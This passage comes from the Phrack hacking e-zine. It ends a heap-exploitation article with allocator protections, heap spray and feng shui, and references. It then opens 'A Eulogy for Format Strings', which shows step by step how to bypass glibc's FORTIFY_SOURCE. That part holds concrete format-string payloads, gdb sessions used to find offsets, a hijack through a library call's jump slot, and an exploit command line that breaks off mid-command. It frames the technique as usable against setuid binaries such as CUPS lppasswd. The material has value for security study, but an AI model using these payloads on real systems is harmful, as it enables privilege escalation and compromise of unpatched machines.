allocator" by Bruce Perens [5]. His protection ideas are: - Anti Double Frees: if ( slot->mode != ALLOCATED ) { if ( internalUse && slot->mode == INTERNAL_USE ) ..... else { EF_Abort("free(%a): freeing free memory.",address); - Free unallocated space (EFense maintains an array of addresses of chunks allocated (slots) ): slot = slotForUserAddress(address); if ( !slot ) EF_Abort("free(%a): address not from malloc().", address); Other implementations of dynamic memory management that we should take into account: Jemalloc on FreeBSD [6] and Guard Malloc for Mac OS X [7]. The first is specially designed for concurrent systems. We talked about management of multiple threads on multiple processors, and how to achieve this efficiently, without affecting system performance, and getting better times in comparison with other memory managers. The second, to take one example, use the pagination and its mechanism of protection in a very clever way. Extracted directly from the manpage, we read the core of his method: "Each malloc allocation is placed on its own virtual memory page, with the end of the buffer at the end of the page's memory, and the next page is kept unallocated. As a result, accesses beyond the end of the buffer cause a bus error immediately. When memory is freed, libgmalloc deallocates its virtual memory, causing reads or writes to the freed buffer cause a bus error." Note: That's a really interesting idea but you should take into account the fact that such a technic is not _that_ effective because if would sacrifice a lot of memory. It would induce a PAGE_SIZE (4096 bytes is a common value, or getpagesize( ) ;) allocation for a small chunk. In my opinion, I do not see Guard Malloc as a memory manager of routine use, but rather as an implementation with which to compile your programs in the early stages of development/debugging. However, Guard Malloc is a highly user-configurable library. For example, you could allow through an specific environment variable (MALLOC_ALLOW_READS) to read past an allocated buffer. This is done by setting the following virtual page as Read-Only. If this variable is enabled along with other specific environment variable (MALLOC_PROTECT_BEFORE), you can read the previous virtual page. And still more, if MALLOC_PROTECT_BEFORE is enabled without MALLOC_ALLOW_READS buffer underflow can be detected. But this is something that you can read in the official documentation, and it's needless to say more here. << When debugging, novices insert corrective code; experts remove defective code. >> [ Richard Pattis ] .------------. ---[ 4.3.2 ---[ dnmalloc ]--- .------------. This implementation (DistriNet malloc) [10] is like the most modern systems: code and data are loaded into separate memory locations, dnmalloc applies the same to chunk and chunk information which are stored in separate contiguous memory protected by guard pages. A hashtable which contains pointers to a linked list of chunk information accessed through the hash function is used to associate chunks with the chunks information. [12] Memory with dnmalloc: .---------------. | .text | .---------------. | .data | .---------------. ... .---------------. | Chunks | .---------------. .. || || \/ /\ || || .. .--------------------. | Memory Page | <- This Page is not writable .--------------------. | Chunk Information | .--------------------. | The Hash Table | .--------------------. | Memory Page | .--------------------. | The Stack | <- This Page is not writable .--------------------. The way to find the chunk information: 1.- Address of the chunk - Start address of the heap = *Result* 2.- To get the entry in the Hash Table: shift *Result* 7 bits to the right. 3.- Go over the linked list till it have the correct chunk. .-------------------------------------. | The Hash Table | . ................................... . | Pointers to each Chunk Information | --> Chunk Information (Hash Next .-------------------------------------. to the next Chunk Information) The manipulation of the Chunk Information: 1.- A fixed area is mapped below the Hash table for the Chunks Information. 2.- Free Chunk Information are stored in a linked list. 3.- When a new Chunk Information is needed the first element in the free list is used. 4.- If none are free a Chunk is allocated from the map. 5.- If the map is empty It maps extra memory for it (and move the guard page). 6.- Chunk information is protected by guard pages. << Passwords are like underwear: you don't let people see it, you should change it very often, and you shouldn't share it with strangers. >> [ Chris Pirillo ] .------------------. ---[ 4.3.3 ---[ OpenBSD malloc ]--- .------------------. This implementation [11] [13] have the design goals: simple, unpredictable, fast, less metadata space overhead, robust for example freeing of a bogus pointer or a double free should be detected ... About the Metadata: keep track of mmaped regions by storing their address and size into a hash table, keep existing data structure for chunk allocations, a free region cache with a fixed number of slots: Free regions cache 1.- Regions freed are kept for later reuse 2.- Large regions are unmapped directly 3.- If the number of pages cached gets too large, unmap some. 4.- Randomized search for fitting region, so region reuse is less predictable 5.- Optionally, pages in the cache are marked PROT_NONE << Getting information off the Internet is like taking a drink from a fire hydrant. >> [ Mitchell Kapor ] .-----------------------------. ---[ 5 ---[ Miscellany, ASLR and More ]--- .-----------------------------. We already mentioned something about ASLR and Non Exec Heap in the Malloc Des-Maleficarum paper. Now we do the same with the method we have studied. For the purposes of this technique, I considered disabled the ASLR in all examples of this article. If this protection was enabled in real life then randomization only affects to the position of the final fake chunk in the stack and our ability to predict a memory address close enough to a saved return address that can be overwritten. This should not be an utterly impossible task, and we consider that the bruteforce is always a possibility that we will have a hand in most restrictive situations. Obviously, the non-exec heap does not affect the techniques described in this paper, as one might place a shellcode in any elsewhere, although we warn that if the heap is not executable it is very likely that the stack will not be either. Therefore one should use a ret2libc style attack or return into mprotect( ) to avoid this protection. This is an old theme, and each will know how to analyze problems underlying the system attacked. Unfortunately, I do not show a real-life exploit here. But we can talk a bit about the reliability and potential of success when we are studying a vulnerability in the wild. The preconditions are clear, this has been seen repeatedly throughout of this article. The obvious difference between the PoC's that I presented here and the applications you use every day (as well as email clients, or web browsers), is that one can not predict in a first chance the current state of the heap. And this is really a problem, because while this is not in a fairly stable and predictable state, the chances of exploiting will be minimal. But very high-level hackers have already met once this class of problems, and over time have been designing and developing a series of techniques which allow reordering the heap so that both, the position of the allocated chunks as the data contained within them, are parameters controlled by the user. Among these techniques, we must appoint two best known: - Heap Spray - Heap Feng Shui You can read something about them in the following paper presented at the BlackHat 2007 [8]. In short we can say that the "Heap Spray" technique simply fill in the heap as far as possible by requesting large amount of memory placing there repetitions of nop sleds and the opportune shellcode, then just simply find a predictable memory address for the "primitive 4-byte overwrite". A very clever idea in this technique is to make the nop sled values equal to the selected address, so that it will be self-referential. Feng Shui is a much more elaborate technique, it first tries to defragment the Heap by filling the holes. Then it comes back to create holes in the upper controlled zone so that the memory remains as: [ chunk | hole | chunk | hole | chunk | hole | chunk ] ... and finally tries to create the buffer to overflow in one of these holes, knowing that this will always be adjacent to one of its buffers containing information controlled by the exploiter. We will not talk about it more here. Just say that although some of these methodologies may seem time consuming and fatigue making, without them nobody could create reliable exploits, or obtain success in most of the attempts. << Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. >> [ Rich Cook ] .---------------. ---[ 6 ---[ Conclusions ]--- .---------------. In this article we have seen how The House of Lore hid inside of itself a power much greater than we imagined. We also presented a fun example showing that, despite not being vulnerable to all the techniques we knew so far, it was still vulnerable to one that until now had only been described theoretically. We detail a second method of attack also based on the corruption of a largebin, this attack could be an alternative in some circumstances and should be as important as the main method of the smallbin corruption. Finally we detailed a way to apply THoL in version 3 of the Ptmalloc library, which many thought was not vulnerable to attacks due to the imposition of numerous restrictions. Reviewing and analyzing in depth some of the security mechanisms that have been implanted in this library, allowed to find that further studies will be needed to discover new vulnerabilities and areas of code that can be manipulated for personal fun and profit. If you want a tip from mine on how to improve your hacking, here goes: Reads everything, study everything... then forget it all and do it differently, do it better. Fill your cup, empty your cup and fill it again with fresh water. Finally, I would like to recall that I said the following in my "Malloc Des-Maleficarum" paper: "...and The House of Lore, although not very suitable for a credible case, no one can say that is a complete exception..." With this new article I hope I have changed the meaning of my words, and shown that sometimes in hacking you make mistakes, but never stop to investigate and repair your errors. Everything we do is for fun, and we will do it as long as we exist on the land and cyberspace. << All truths are easy to understand once they are discovered; the point is to discover them. >> [ Galileo Galilei ] .-------------------. ---[ 7 ---[ Acknowledgments ]--- .-------------------. First, I would like to give my acknowledgments to Dreg for his insistence for that I would do something with this paper and it not to fall into oblivion. After a bad time ... I could not give a talk on this subject at RootedCon [9], Dreg still graciously encouraged me to finish the translation and publish this article in this fantastic e-zine which undoubtedly left its mark etched in the hacking history. Indeed, the last details in the translation of this article are Dreg's work, and this would never have been what it is without his invaluable help. For the rest, also thanks to all the people I met in dsrCON!, all very friendly, outgoing and all with their particular point of madness. I am not going to give more names, but, to all of them, thanks. And remember... Happy Hacking! .--------------. ---[ 8 ---[ References ]--- .--------------. [1] Malloc Maleficarum http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt [2] Malloc Des-Maleficarum http://www.phrack.org/issues.html?issue=66&id=10 [3] PTMALLOC (v2 & v3) http://www.malloc.de/en/ [4] Reducing the effective entropy of gs cookies http://uninformed.org/?v=7&a=2&t=sumry [5] Electric Fence - Red-Zone memory allocator http://perens.com/FreeSoftware/ElectricFence/ electric-fence_2.1.13-0.1.tar.gz [6] Jemalloc - A Scalable Concurrent malloc(3) Implementacion for FreeBSD http://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf [7] Guard Malloc (Enabling the Malloc Debugging Features) http://developer.apple.com/mac/library/documentation/Darwin/Reference/ ManPages/man3/Guard_Malloc.3.html [8] Heap Feng Shui in JavaScript - BlackHat Europe 2007 http://www.blackhat.com/presentations/bh-europe-07/Sotirov/ Presentation/bh-eu-07-sotirov-apr19.pdf [9] Rooted CON: Congreso de Seguridad Informatica (18-20 Marzo 2010) http://www.rootedcon.es/ [10] dnmalloc http://www.fort-knox.org/taxonomy/term/3 [11] OpenBSD malloc http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/malloc.c [12] Dnmaloc - A more secure memory allocator by Yves Younan, Wouter Joosen, Frank Piessens and Hans Van den Eynden http://www.orkspace.net/secdocs/Unix/Protection/Description/ Dnmaloc%20-%20A%20more%20secure%20memory%20allocator.pdf [13] A new malloc(3) for OpenBSD by Otto Moerbeek http://www.tw.openbsd.org/papers/eurobsdcon2009/otto-malloc.pdf .----------------. ---[ 9 ---[ Wargame Code ]--- .----------------. In this last section we attach the same program "agents.c" that we saw above but adapted to network environment so that it can be feasible to use in a servers exploitation wargame. At the same time the code is a bit more elaborate and robust. As usual, "netagents.c" forks a child process (fork) for each connection made to it, and as each new process has its own heap, each attacker can confront the vulnerability based on zero. The actions of one not influence to others. The code should be adapted according to the needs of the manager conducting or developing the wargame (as well as the number of allowed incoming connections or debugging information you want to give to the attacker if the game becomes very difficult). The attached archive includes a makefile which assumes that in the same directory as the source is the compiled library ptmalloc2 (libmalloc.a) to be linked with netagents.c. Each should adapt "malloc.c" to print the information it deems necessary, but the basics would be the changes that have been made throughout this article, which allows the attacker to know from where they extract the chunks of memory requested. How the attacker obtains the output of these changes? For simplicity, "netagents.c" prevents calls to send( ) by closing the standard output (stdout) and duplicating it with the recent obtained client socket (dup(CustomerID)). We use the same trick as the shellcodes expected. "netagents.c" also includes a new menu option, "Show Heap State", in order to see the state of the memory chunks that are being allocated or released during its execution, this allows you to see if the head of any free chunk has been overwritten. After some legal moves, a normal output would be this: +--------------------------------+ | Allocated Chunk (0x8093004) | -> Agents[0] +--------------------------------+ | SIZE = 0x00000019 | +--------------------------------+ +--------------------------------+ | Allocated Chunk (0x809301c) | -> Agents[1] +--------------------------------+ | SIZE = 0x00000019 | +--------------------------------+ +--------------------------------+ | Allocated Chunk (0x8093034) | -> Agents[1]->name +--------------------------------+ | SIZE = 0x00000029 | +--------------------------------+ +--------------------------------+ | Free Chunk (0x8093058) | -> Agents[1]->lastname +--------------------------------+ | PREV_SIZE = 0x00000000 | +--------------------------------+ | SIZE = 0x00000089 | +--------------------------------+ | FD = 0x08050168 | +--------------------------------+ | BK = 0x08050168 | +--------------------------------+ +--------------------------------+ | Allocated Chunk (0x80930e4) | -> Agents[1]->desc +--------------------------------+ | SIZE = 0x00000108 | +--------------------------------+ Following the example of the perl exploit presented in 2.2.2, one might design an exploit in C with a child process continually receiving responses from the server (menus and prompts), and the father answering these questions with a pause, for example one second each answer (if you know what to respond to work that program ...). The difficult task is to predict the addresses on the stack, which in the last phase of the attack, the last reserved chunk should match the frame created by "edit_lastname( )" since that it is where we overwrite the saved return address and where the program probably will break (it is obvious that ASLR enabled suppose a new complexity to overcome). What happens with failed attempts and segmentation failures? The program captures SIGSEGV and informs the attacker that something bad has happened and encourages him to connect again. The child process is the only that becomes unstable and thus a new connection leaves everything clean for a new attack. The latest aid that one could provide to the attacker is to deliver the source code, so this could be adapted to study the vulnerability in local, and then carry his attack to the network environment. --------[ EOF ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x09 of 0x10 |=-----------------------------------------------------------------------=| |=-------------------=[ A Eulogy for Format Strings ]=-------------------=| |=-----------------------------------------------------------------------=| |=-----------------------=[ by Captain Planet ]=-------------------------=| |=-----------------------------------------------------------------------=| Index ------[ 0. Introduction ------[ 1. Glibc's FORTIFY_SOURCE ------[ 2. Bypassing FORTIFY_SOURCE ------[ 3. Exploitation A. Dummy program B. CUPS lppasswd bug C. TODO- ASLR ------[ 4. Afterword ------[ 0. Introduction Today the Windows CRT disables %n by default [0]. And likewise, glibc's FORTIFY_SOURCE patches provides protection mechanisms which render exploitation impossible. Objective-C isn't being considered, but i'm told you can have plenty of fun there too. Even format strings weren't a critically endangered species, they've been demoted to the class of infoleak. The great thing about format strings of course was that they provided both a read and write primitive. They were the `spork` of exploitation. ASLR? PIE? NX Stack/Heap? No problem, fmt had you covered. The story goes that around 2000 everybody was hunting down format strings. Just about everything was vulnerable. Check out the TESO article in the links. It was pretty outrageous. CORE exploited pretty much everything with locales too [1]. But today, those days are long one. Unless of course you're hacking edus, in which case you can still use locale bugs to pop root shells on PMOS technology. A few months ago something funny happened. A guy by the name of Ronald Volgers [2] had his way with CUPS lppasswd, which was shipped root setuid in Ubuntu and Debian. Nice find man! Locale bugs, oh yeah, awesome! Unfortunately, the aforementioned patch makes fmt str exploitation quite unlikely. In detail, the FORTIFY_SOURCE provides two countermeasures against fmt strings. 1) Format strings containing the %n specifier may not be located at a writeable address in the memory space of the application. 2) When using positional parameters, all arguments within the range must be consumed. So to use %7$x, you must also use 1,2,3,4,5 and 6. But thats okay since the FORTIFY_SOURCE patch is not really all that complete. (-: Why? Because glibc is really really weird code. It amazes me that someone would travel all around the world and take credit for glibc when they did not even write it. Actually, it makes perfect sense, nobody with any dignity would admit to writing any part of glibc to public audiences. Don't get me wrong, glibc lets pretty good stuff happen to my computer. The code is pretty hard to look at though, you wouldn't introduce her to your parents if you know what I mean... What you're about to read is slightly harder than writing a format string and a little bit easier than building glibc itself. (Glibc binaries are ideal for an ELF VX because of the difficulty of compiling them). Prequisites are understanding format string exploitation. They were last written about in phrack here [3] if you need a refresher. If you have never exploited a format string vuln, seek the article by 'rebel' [6]. It is one of the most skilled and digestible discourses available. So lets dive right in. ------[ 1. Glibc's FORTIFY_SOURCE =========================================================================== WARNING: THE REST OF THIS ARTICLE INCLUDES GLIBC CODE WHICH MAY INDUCE CHEST PAIN, VOMITING, BLACKOUTS, or PERMANENT LOSS OF EYESIGHT. ALL ATTEMPTS TO KEEP KEEP GLIBC CODE TO A MINIMUM HAVE BEEN MADE BY THE AUTHOR. =========================================================================== "%49150u %4849$hn %1$*269158540$x %1$*13996$x %1073741824$d" Have you seen a format string like that before? It makes positional parameters look less attractive, doesn't it? So how does this patch supposedly work? To turn it on the binary must be compiled with `-D_FORTIFY_SOURCE=2` enabled with an optimization level of at least -O2. This is likely because of the compiler pass the patch is implemented at. So the following happens. 0x08048509 <+57>: mov %ebx,0x4(%esp) 0x0804850d <+61>: movl $0x1,(%esp) 0x08048514 <+68>: call 0x80483c4 <__printf_chk@plt> First, calls to printf, etc get rerouted to __*_chk in your compiled binary and the first argument of :flag: is passed as 1. A. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: libc/debug/printf_chk.c /* Write formatted output to stdout from the format string FORMAT. */ int ___printf_chk (int flag, const char *format, ...) { va_list ap; int done; _IO_acquire_lock_clear_flags2 (stdout); if (flag > 0) stdout->_flags2 |= _IO_FLAGS2_FORTIFY; va_start (ap, format); done = vfprintf (stdout, format, ap); va_end (ap); if (flag > 0) stdout->_flags2 &= ~_IO_FLAGS2_FORTIFY; _IO_release_lock (stdout); return done; } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The function sets the _IO_FLAGS2_FORTIFY bit to ON in the FILE* structure to enable the FORTIFY checks. This is sort of clever, as the bit will always get toggled on when entering dangerous functions. You can not universally disable the mechanism very easily. But this itself does not actually guarantee any kind of security. Under libio/libio.h the following secondary flags are defined: #define _IO_FLAGS2_MMAP 1 //fopen 'm' mmap access mode #define _IO_FLAGS2_NOTCANCEL 2 //open/read/write should not be used as thread cancellization points #ifdef _LIBC # define _IO_FLAGS2_FORTIFY 4 //enable fortify security checks #endif #define _IO_FLAGS2_USER_WBUF 8 //wide buffer (2-byte) support funk #ifdef _LIBC # define _IO_FLAGS2_SCANF_STD 16 // %a support for scanf #endif Disabling the entire flags buffer should not be too much trouble, but may lead to some inconsistencies if the file stream pointer is opened with 'm' in the mode parameter. The astute reader will be wondering about functions such as vsnprintf, which require no file stream pointer. Well, glibc provides an okay solution. A file stream pointer is made on the stack with a callback that writes to a buffer instead of a file descriptor. This file stream pointer is then passed along to vfprintf. Now, with the _IO_FLAGS2_FORTIFY bit set, there are two protections that are enabled. B. Protection #1 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: libc/stdio-common/vfprintf.c LABEL (form_number): \ if (s->_flags2 & _IO_FLAGS2_FORTIFY) \ { \ if (! readonly_format) \ { \ extern int __readonly_area (const void *, size_t) \ attribute_hidden; \ readonly_format \ = __readonly_area (format, ((STR_LEN (format) + 1) \ * sizeof (CHAR_T))); \ } \ if (readonly_format < 0) \ __libc_fatal ("*** %n in writable segment detected ***\n"); \ } \ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ If the format string payload containing a %n is located in a writeable memory area such as the stack or BSS or DATA or the heap, this patch will detect it and error out. Besides a DoS, this patch renders format strings pretty harmless. C. Protection #2 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: libc/stdio-common/vfprintf.c /* Determine the number of arguments the format string consumes. */ nargs = MAX (nargs, max_ref_arg); /* Allocate memory for the argument descriptions. */ args_type = alloca (nargs * sizeof (int)); memset (args_type, s->_flags2 & _IO_FLAGS2_FORTIFY ? '\xff' : '\0', nargs * sizeof (int)); args_value = alloca (nargs * sizeof (union printf_arg)); args_size = alloca (nargs * sizeof (int)); .. for (cnt = 0; cnt < nargs; ++cnt) .. switch (args_type[cnt]) .. case -1: /* Error case. Not all parameters appear in N$ format strings. We have no way to determine their type. */ assert (s->_flags2 & _IO_FLAGS2_FORTIFY); __libc_fatal ("*** invalid %N$ use detected ***\n"); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The effect of this second patch is that all of the arg_types are set to -1 by default. If there are any argument holes in between which do not get processed, they are left as -1. So the effect is that: %4$x would be invalid but %4$x %2$x %1$x %3x would be okay. To be honest, I do not really see this as some huge security improvement but more of a nuisance. It does not really stop infoleaks much. Maybe they wanted to prevent people from exploiting 8 character format strings, because those are really common in the wargaming scene. ------[ 2. Bypassing FORTIFY_SOURCE Now, if you were paying attention, you saw a bunch of allocas in 1-A. That :nargs: variable, that is the calculated maximum number of arguments. If a fmt str has simple arguments, the value is just that number. But, if a fmt str uses width arguments or positional parameters (often called direct parameters in other format string articles), then those also factor into the maximum :nargs: value As an example in this string, %x %x %x %13981938$x, 13981938 is the :nargs: value being passed to the alloca functions in code snippet 1-C. Do not get too excited. This is not enough for generic control. Unfortunately, we can not do the same stack shifting as in [4] since we are in a context past the initial stack frame allocation. At the epilogue of the function, a base register will be used to collapse the stack, making stack shifting less useful without being accompanied by memory clobbering. This is true of many of the architecture's C compilers. They pretty much all implement some sort of easy stack clean-up with a base register, so alloca itself is difficult to attack. Instead, it is the operations that use the allocated memory that must be exploited. The integer overflow can be used to trigger all sorts of memory trespasses. One other thing to do is shift the stack into the heap using the alloca. This also turns out to be difficult because of those memset operations. But we do have a loss of state. And as always, from a loss of state new opportunites arise. We are in the land of undefined. Hi mom and dad! This article will use one such trespass opportunity to bypass FORTIFY_SOURCE. It should be noted that others exist, but may be a bit harder to utilize than this one. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Arbitrary 4-byte NUL overwrite. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: stdio-common/vfprintf.c /* Fill in the types of all the arguments. */ for (cnt = 0; cnt < nspecs; ++cnt) { /* If the width is determined by an argument this is an int. */ if (specs[cnt].width_arg != -1) args_type[specs[cnt].width_arg] = PA_INT; enum { /* C type: */ PA_INT, /* int */ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Quick summary of the code: args_type[ ATTACKER_OFFSET ] = 0x00000000; Explanation: The above code is required to process width arguments that are passed in as parameters. For example: %1$*269096872$x Effectively does: //specs[cnt].width_arg = 269096872 args_type[specs[cnt].width_arg] = 0 ..which, if your stack is set up just right, can toggle off that _IO_FLAGS2_FORTIFY bit in the `stdout` FILE structure. Remember that :args_type: was one of the buffers allocated on the stack in the alloca snippet above in 1-C and is an array of an integer base type. Care must be taken as the alloca becomes a bit of a problem when nargs gets set to a large value. This will likely shift the stack to somewhere unmapped. The next push or call instructions would result in a crash, preventing proper exploitation. So the key constraints around :nargs: are as follows: 1) the stack must be shifted somewhere sane 2) the memset operation must not hit an unmapped page. The easiest way to meet these two contraints is to use an integer overflow. Since no bounds checking occurs on :nargs:, you can artificially keep the stack in-place with this: `%1073741824$`. No specifier is really required and you can end it with just a $ sign. The second contraint is also satisfied because the memset will be called with a length parameter of 0. The details of the allocas are a little bit more complex if you look at the assembly. For our purposes, they roughly end up doing: esp -= nargs * (4) esp -= nargs * (12) esp -= nargs * (4) The 1073471824*4 happens to be 0 when truncated into a 32-bit integer. This and other factors of 1073471824 prove to be sufficient for side-stepping the alloca constraints. This concludes the arbitrary 4-byte NUL overwrite. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> The first patch (1-B) can be disabled by clearing that IO_FLAGS2_FORTIFY bit in the file stream pointer. Typically it will be the only flag enabled on the file stream pointer. In the unlikeley case that one of the other bits was set, for example _IO_FLAGS2_MMAP, inconsitencies may arise when the file stream pointer is closed. This may or may not affect exploitability. We will now revisit the second part of the patch. It makes any format string exploit less flexible. The loop on nargs has to be terminated early to avoid the assert and the libc_fatal when a "hole" in the arguments is discovered. By hole, I am referring to the code in (1-C) which checks the :args_type: value against -1. Remember that the fortify source patch won't let you access %5$x without also accessing %1$? %2$? %3$? and %4?. That is what is meant by 'hole' in this context. The termination of that loop can coincidentally happen all by itself if the stack is aligned correctly. The loop will hit out of bounds of the alloca created buffers and self terminate when :nargs: is set to 0, provided that :nargs: is stored by the compiler on the stack. If it fails to do this, an assert() statemet will be triggered, preventing exploitation. Or, we can reuse the 4-byte NUL write can be used to bypass the loop reliably. One instance of a successful bypass can then be performed in two easy steps. 1. Turn off the IO_FORTIFY_SOURCE bit to allow %n from a writeable address 2. Set nargs=0 to skip the value-filling loop. Note that bypassing the loop via #2 requires us to dig further down the stack to find our user input since the same loop is responsible for filling in the args_value array. If you have ever attempted to exploit a format string by truncating a pointer and reusing it as destination on glibc, you probably failed because of that args_value array. ------[ 3. Exploitation In standard phrack style we will first do this on a test binary and then on a real-world binary to disprove any accusations of academic tendencies, like thought experiments. Feel free to skip to part B. ------------[ A. Dummy Test Program for clarity Note: ASLR is disabled and the program has an executable stack. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //File: test.c //gcc -D_FORTIFY_SOURCE=2 -O2 int main(){ char buf[256]; fgets(buf, sizeof(buf), stdin); printf(buf); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ captain@planet:~/research/fmt/article$ ./a.out %n *** %n in writable segment detected *** Aborted captain@planet:~/research/fmt/article$ ./a.out %4$x *** invalid %N$ use detected *** Aborted Oh nooO! Scary format string protections are making everything hurt. ENABLE POWER MORPHING LINUX SHARING COMMUNITY POWER ---- Alright remember the process kids. 1. Disable fortify source 2. Set nargs = 0 3. Enjoy the %n So first, lets figure out where that arbitrary 4-byte NUL write is on our system. We will pick some ridiculous desination, like %1$*269168516$. If it doesn't crash, keep incrementing that by about 20000. So we'll send the following as our investigative payload. The first part should trigger the NUL write. The second part should keep the stack sane. %1$*269168516$x %1073741824$ %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% captain@planet:~/research/fmt/article$ gdb -q ./a.out Reading symbols from /home/captain/research/fmt/article/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/captain/research/fmt/article/a.out %1$*269168516$x %1073741824$ Program received signal SIGSEGV, Segmentation fault. 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269168516$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735 1735 vfprintf.c: No such file or directory. in vfprintf.c (gdb) x/i $pc => 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4) (gdb) %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% The fortify source bit will be somewhere inside of the file stream pointer over at s=0x29f4e0. stdout->_flags2 |= _IO_FLAGS2_FORTIFY; On this target machine, it happens to be @+60 0x29f51c <_IO_2_1_stdout_+60>: 0x00000004 Since the operations here are relative, ASLR is not too big of an issue and once you find your offset, it's pretty consistent (YMMV). Here is the equation $ecx + $eax*4 should = 0x29f51c (gdb) p/d ((0x10029f51c-$ecx) & 0xffffffff)/4 $11 = 269145003 Counting starts from 0, so add 1 to that for the payload. %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% captain@planet:~/research/fmt/article$ gdb -q ./a.out Reading symbols from /home/captain/research/fmt/article/a.out...(no debugging symbols found)...done. (gdb) break vfprintf Function "vfprintf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (vfprintf) pending. (gdb) r Starting program: /home/captain/research/fmt/article/a.out %1$*269145004$x %1073741824$ Breakpoint 1, _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:210 210 vfprintf.c: No such file or directory. in vfprintf.c (gdb) tbreak *(vfprintf+11489) Temporary breakpoint 2 at 0x1888f1: file vfprintf.c, line 1735. (gdb) c Continuing. Temporary breakpoint 2, 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735 1735 in vfprintf.c (gdb) x/i $pc => 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4) (gdb) x/wx $ecx+$eax*4 0x29f51c <_IO_2_1_stdout_+60>: 0x00000004 %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% This operation has to be repeated for :nargs:. The easiest way to locate :nargs: is to pick a value you know (0xdeadbeef), and find it on the stack or just pick it up where it gets loaded before the alloca code. %1$*3735928559$x %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% Program received signal SIGSEGV, Segmentation fault. 0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721 1721 vfprintf.c: No such file or directory. in vfprintf.c (gdb) x/wx $ebp-0x4bc 0xbffeadcc: 0xdeadbeef %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% p/d (0xbffeadcc-$ecx)/4+1 = 472 for me Disabling both :nargs: and fortify source : [%*472$ %1$*269145004$ %1073741824$] Well, that's not actually true. It depends on what your buffer looks like. For example if you attempt to do: %49150u %4847$hn %*472$ %1$*269145004$ %1073741824$ The first two parameters will cause the stack to shift and the values have to be recalculated based on the size of that $hn offset. This gets a bit hairy, but with some grunt work you'll be done. The next task is finding a good way to hijack flow control. One good vector happens to be a call to free shortly after the %n write. => 0xb7d4f3f8 <_IO_vfprintf_internal+2024>: mov -0x4bc(%ebp),%edi => 0xb7d4f3fe <_IO_vfprintf_internal+2030>: mov %edi,(%esp) => 0xb7d4f401 <_IO_vfprintf_internal+2033>: call 0xb7d28988 => 0xb7d28988 : jmp *0x24(%ebx) (gdb) x/wx $ebx+0x24 0x29f018: 0x001b8e60 We will overwrite the upper 16-bits to point into the stack (0x001b->0xbfff). Write Dest: 0x29f01a One way to smuggle this value is using a command line argument. %49150u %4847$hn %*13996$ %1$*269158528$ %1073741824$ %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% Program received signal SIGSEGV, Segmentation fault. 0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721 1721 vfprintf.c: No such file or directory. in vfprintf.c (gdb) x/wx $ebp-0x4bc 0xbffeadcc: 0xdeadbeef %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% So after some fenagling you'll reach something like this: A great improvement would be automation via instrumentation or mapping out the stack shifting very tightly. %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% captain@planet:~/research/fmt/article$ export PAY=`python -c 'print "\xcc"*4096*20'` captain@planet:~/research/fmt/article$ (python -c 'print "%49150u %4847$hn %1$*269168516$x %1$*13996$x %1073741824$"') | ./a.out `echo -ne "a ccc ddbbb \x1a\xf0\x29 